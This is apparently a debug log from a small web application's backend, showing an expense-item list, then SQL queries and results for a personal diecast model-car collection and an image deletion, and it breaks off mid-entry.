  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:53:16.761Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:53:16.763Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:53:16.765Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:53:16.765Z server-connect:app Executing action step identify
2026-02-04T10:53:16.765Z server-connect:app options: { provider: 'security' }
2026-02-04T10:53:16.765Z server-connect:output identity: 1
2026-02-04T10:53:16.765Z server-connect:app Executing action step restrict
2026-02-04T10:53:16.765Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:53:16.766Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:53:16.766Z server-connect:app Executing action step identify
2026-02-04T10:53:16.766Z server-connect:app options: { provider: 'security' }
2026-02-04T10:53:16.766Z server-connect:output identity: 1
2026-02-04T10:53:16.766Z server-connect:app Executing action step restrict
2026-02-04T10:53:16.766Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:53:16.767Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:53:16.767Z server-connect:output restrict: undefined
2026-02-04T10:53:16.767Z server-connect:app Executing action step select
2026-02-04T10:53:16.767Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:53:16.767Z server-connect:output restrict: undefined
2026-02-04T10:53:16.767Z server-connect:app Executing action step single
2026-02-04T10:53:16.767Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:53:16.768Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:53:16.768Z server-connect:app Executing action step identify
2026-02-04T10:53:16.768Z server-connect:app options: { provider: 'security' }
2026-02-04T10:53:16.768Z server-connect:output identity: 1
2026-02-04T10:53:16.768Z server-connect:app Executing action step restrict
2026-02-04T10:53:16.768Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:53:16.768Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:53:16.769Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:53:16.769Z server-connect:app Executing action step identify
2026-02-04T10:53:16.769Z server-connect:app options: { provider: 'security' }
2026-02-04T10:53:16.769Z server-connect:output identity: 1
2026-02-04T10:53:16.769Z server-connect:app Executing action step restrict
2026-02-04T10:53:16.769Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:53:16.769Z server-connect:output restrict: undefined
2026-02-04T10:53:16.769Z server-connect:app Executing action step select
2026-02-04T10:53:16.769Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:53:16.770Z server-connect:app Executing action step identify
2026-02-04T10:53:16.770Z server-connect:app options: { provider: 'security' }
2026-02-04T10:53:16.770Z server-connect:output identity: 1
2026-02-04T10:53:16.770Z server-connect:app Executing action step restrict
2026-02-04T10:53:16.770Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:53:16.770Z server-connect:output restrict: undefined
2026-02-04T10:53:16.770Z server-connect:app Executing action step paged
2026-02-04T10:53:16.770Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:53:16.771Z server-connect:app Executing action step identify
2026-02-04T10:53:16.771Z server-connect:app options: { provider: 'security' }
2026-02-04T10:53:16.771Z server-connect:output identity: 1
2026-02-04T10:53:16.771Z server-connect:app Executing action step restrict
2026-02-04T10:53:16.771Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:53:16.771Z server-connect:output restrict: undefined
2026-02-04T10:53:16.771Z server-connect:app Executing action step select
2026-02-04T10:53:16.771Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:53:16.772Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:53:16.772Z server-connect:output restrict: undefined
2026-02-04T10:53:16.772Z server-connect:app Executing action step select
2026-02-04T10:53:16.772Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:53:16.773Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:53:16.773Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:53:16.773Z server-connect:app Executing action step select
2026-02-04T10:53:16.774Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:53:16.774Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:53:16.775Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:53:16.775Z server-connect:app Executing action step select
2026-02-04T10:53:16.775Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:53:16.775Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:54:01.844Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:54:01.844Z server-connect:app Executing action step identify
2026-02-04T10:54:01.844Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:01.844Z server-connect:output identity: 1
2026-02-04T10:54:01.844Z server-connect:app Executing action step restrict
2026-02-04T10:54:01.844Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:01.845Z server-connect:output restrict: undefined
2026-02-04T10:54:01.845Z server-connect:app Executing action step single
2026-02-04T10:54:01.845Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:54:01.846Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20251031_232903_83afa917-0ac6-4a1c-aab5-b3bb72c5a304.jpg'
}
2026-02-04T10:54:01.846Z server-connect:app Executing action step delete
2026-02-04T10:54:01.846Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:54:01.846Z server-connect:output delete: { affected: 1 }
2026-02-04T10:54:01.846Z server-connect:app Executing action step remove
2026-02-04T10:54:01.846Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:54:01.847Z server-connect:output fileRemove: true
2026-02-04T10:54:02.118Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:54:02.118Z server-connect:app Executing action step identify
2026-02-04T10:54:02.118Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:02.118Z server-connect:output identity: 1
2026-02-04T10:54:02.118Z server-connect:app Executing action step restrict
2026-02-04T10:54:02.118Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:02.119Z server-connect:output restrict: undefined
2026-02-04T10:54:02.119Z server-connect:app Executing action step paged
2026-02-04T10:54:02.119Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
